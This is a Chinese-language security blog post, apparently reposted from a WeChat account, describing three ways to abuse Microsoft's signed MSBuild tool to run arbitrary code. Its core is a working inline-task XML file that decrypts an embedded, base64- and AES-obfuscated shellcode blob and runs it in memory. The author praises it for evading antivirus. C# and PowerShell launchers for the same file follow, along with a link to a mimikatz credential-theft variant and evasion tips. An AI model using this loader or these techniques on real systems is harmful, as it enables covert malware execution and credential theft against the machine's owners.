Msbuild的三种利用方式

  • A+
所属分类:安全文章


碎碎念:最近一直没更新文章,团队的小伙伴都到了找实习的时候,所以都在忙着找工作,恰巧又碰上国赛,耽搁了几天,不过目前都已尘埃落定,有几个去了甲方,都是三大运营商,还有的去了国内的一线乙方,对于我们这个普本来说成绩已然不错,继续加油。ps:有需要发招聘的老板可以私聊我哦,后台回复合作即可。



前言



MSBuild是一个免费的开源构建工具集,用于管理本地C++代码.在Visual Studio2013之前,MSBuild是作为.NET框架的一部分,但是在其之后,MSBuild被绑定到了Visual Studio.所以,Visual Studio依赖于MSBuild,但是MSBuild并不依赖于Visual Studio.且对于渗透测试人员来说,Msbuild也是我们常说的白名单文件,具有微软签名可执行xml文件。


Msbuild的三种利用方式


根据维基百科所说:https://en.wikipedia.org/wiki/MSBuild#Versions

其所处位置如下:


Msbuild的三种利用方式


其工作原理可以参考微软的文章:

https://docs.microsoft.com/en-us/visualstudio/msbuild/build-process-overview?view=vs-2019



利用


拿最基础的进程注入为例,CPP代码如下:


LPVOID pAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);RtlMoveMemory(pAddress, shellcode, sizeof(shellcode));HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addressPointer, NULL, 0, 0);WaitForSingleObject(hThread, INFINITE);

 

换成xml格式的代码如下:


<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">         <Target Name="Hello">           <ClassExample />         </Target>         <UsingTask           TaskName="ClassExample"           TaskFactory="CodeTaskFactory"           AssemblyFile="C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" >           <Task>                        <Code Type="Class" Language="cs">             <![CDATA[             using System;             using System.Diagnostics;             using System.IO;             using System.IO.Compression;             using System.Runtime.InteropServices;             using System.Security.Cryptography;             using System.Text;             using Microsoft.Build.Framework;             using Microsoft.Build.Utilities;             public class ClassExample :  Task, ITask{                        private static UInt32 MEM_COMMIT = 0x1000;                         private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;                         [DllImport("kernel32")]                 private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,                 UInt32 size, UInt32 flAllocationType, UInt32 flProtect);                         [DllImport("kernel32")]                 private static extern IntPtr CreateThread(                             UInt32 lpThreadAttributes,                 UInt32 dwStackSize,                 UInt32 lpStartAddress,                 IntPtr param,                 UInt32 dwCreationFlags,                 ref UInt32 lpThreadId                            );               [DllImport("kernel32")]                 private static extern UInt32 WaitForSingleObject(                            IntPtr hHandle,                 UInt32 dwMilliseconds                 );                         public override bool Execute()               {               byte[] password = Gzip.Decompress(Convert.FromBase64String("H4sIAAAAAAAEAAsuLUgtCk5NLi1KNTQyNjEFAOlS5nAQAAAA"));               byte[] unpacked = Gzip.Decompress(Convert.FromBase64String("H4sIAAAAAAAEAAEgA9/8aPPJkW/eHy5hbKvxQSfqBSXZrNOP8dAvjVNr5bGHzAS2X7+Wz+oXr28riV5JAeBJgE7taLJYq1V4P3/5J9vuy7dDqtVQuXiSMMD9PfW05+CnARazd2mPj3SyRhgFNZWjxqICkLAdoeMLdX4TU1UJngCy4UB/cmGN0YHj2/N3YxSLeq5znUv+YBbELj9NS4QbjOkB4aL4O95SgtsOzFZFpb/wSYleFyMQuylJJhmh9kcmkDWKjYj4YrWfr844nhX9oPNLml6BUsGVASmSLzSccnpX2aFG6i8WhF8B6Pi6/q8UcySXyRJOjTj7BslI6Hc7JWSkyTG/OvpD8Qu2XRamZ3M7Y1xFFAp0r+JPu+LhPVGTUK9BH/gfRM79OuXjRBTMpI6cYtEDf2wcZcsds7ug8O6qKPQN2PnYaCloJ70mStdFRR2ezPhrRQsSz8sDB8s7PsnVRQl/72jqj49tzsoKQoQI436DRoNbowJmb+RXtSvrDxznYVbPGjeVmaco72AyJQUixQMSFlZuhvedPvN/aGYN6xmBcJPWaS8gnUpNb0+oEIey9GXv+sF+1dyAvKmzbROtZJ6oMffyL8v2VPXsygpoOcb+Ziow00MgF9Q+TsMUr3sKoxu+sofsvHEZQrFih+Q9nYaPFxKVjsQ1mf6rjye1XMd1HI5QL7yGXcrkF/tk9sDgtD19ojSJ/25jT371rL8vswlx6LbCVh0kAebzo1ijPJsdp8QljjEW3trAhuvkAgBAPCP3T92aQmZ6S3eD73j8B/i3bAFKcRHP4fIxd63R8twmciOcTNrTfvlwJpxFQK1OS4XuMwtZfQGugaG+ENKXiymLh7AMWAuIP8lfmrskFIVMf1/PLFuoCTS/cYj9c6j7Hl/SDGVNBpU2K7vSTdcKLdMG4Rv28I+vl/SOPUbXs7WMgZY0TVW6aUR/rG07RS2D5M99m9YGMAh/GjtjWbNXSA9a/4nYAXnDw8LYX9NG/oRHoPmTuvV4xRG3IGch++3Bma1qLDRk3PS0zJHY5t53BDkVi24dSovOK1peoeJv5VqzhAliRMBxKU/K603bctY8IAMAAA=="));               byte[] eggs = Crypto.Decrypt(unpacked, password);                                      UInt32 funcAddr = VirtualAlloc(0, (UInt32)eggs.Length,                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);                   Marshal.Copy(eggs, 0, (IntPtr)(funcAddr), eggs.Length);                   IntPtr hThread = IntPtr.Zero;                   UInt32 threadId = 0;                   IntPtr pinfo = IntPtr.Zero;                   hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);                   WaitForSingleObject(hThread, 0xFFFFFFFF);                   return true;               }              }                      public static class Extensions{        public static T[] SubArray<T>(this T[] array, int offset, int length)        {            T[] result = new T[length];            Array.Copy(array, offset, result, 0, length);            return result;        }    }    class Crypto{        public static byte[] Decrypt(byte[] data, byte[] key)        {            using (var aes = Aes.Create())            {                aes.KeySize = 128;                aes.BlockSize = 128;                aes.Padding = PaddingMode.PKCS7;                aes.Key = key;                aes.IV = key.SubArray(0, 16);
using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV)) { return PerformCryptography(data, decryptor); } } } private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform) { using (var ms = new MemoryStream()) using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write)) { cryptoStream.Write(data, 0, data.Length); cryptoStream.FlushFinalBlock();
return ms.ToArray(); } } } class Gzip{ public static byte[] Decompress(byte[] inputBytes) { try { using (var inputStream = new MemoryStream(inputBytes)) using (var gZipStream = new GZipStream(inputStream, CompressionMode.Decompress)) using (var outputStream = new MemoryStream()) { gZipStream.CopyTo(outputStream); return outputStream.ToArray(); } } catch { return null; } } } ]]> </Code> </Task> </UsingTask> </Project>


代码使用了GZIP/AES进行了处理。免杀效果还算不错


Msbuild的三种利用方式


根据情况可以使用下面的文件进行执行:


  • C:WindowsMicrosoft.NETFrameworkv2.0.50727Msbuild.exe

  • C:WindowsMicrosoft.NETFramework64v2.0.50727Msbuild.exe

  • C:WindowsMicrosoft.NETFrameworkv3.5Msbuild.exe

  • C:WindowsMicrosoft.NETFramework64v3.5Msbuild.exe

  • C:WindowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe

  • C:WindowsMicrosoft.NETFramework64v4.0.30319Msbuild.exe

C:WindowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe .inline.xml


Msbuild的三种利用方式


而第二种方式则是利用.Net来进行msbuild的调用,其依赖于Microsoft.Build.Evaluation



using System;using Microsoft.Build.Evaluation;
namespace SharpBuild{ class Program { static void Main(string[] args) { string path = @"C:Usersmez0Desktopinline.xml";
ProjectCollection collection = new ProjectCollection(); if (collection.LoadProject(path).Build()) { Console.WriteLine("built"); } else { Console.WriteLine("error"); }
} }}


第三种则是将C#改成了PS,本来两者就属于可以很简单的相互转换的语言


$path = "C:Usersmez0Desktopinline.xml"[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build');$eval = new-object Microsoft.Build.Evaluation.Project($path);$eval.Build();


扩展


除了上线以外,我们也可以使用msbuild来执行mimikatz。


https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20mimikatz.xml


Msbuild的三种利用方式


当然,不一定非要将mimikatz编译进去,msbuild支持UNC路径,可以选择反射+UNC路径的方法,来使用其他的C#程序来实现相同的功能。但由于是相当于进行了一次动态编译,所以会留下很多的痕迹


Msbuild的三种利用方式

且使用msbuild是进程监控会显示msbuild的网络通信,此时我们可能就需要PPID技术来进行更深层次的操作了。


     ▼
更多精彩推荐,请关注我们

Msbuild的三种利用方式



本文始发于微信公众号(鸿鹄实验室):Msbuild的三种利用方式

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: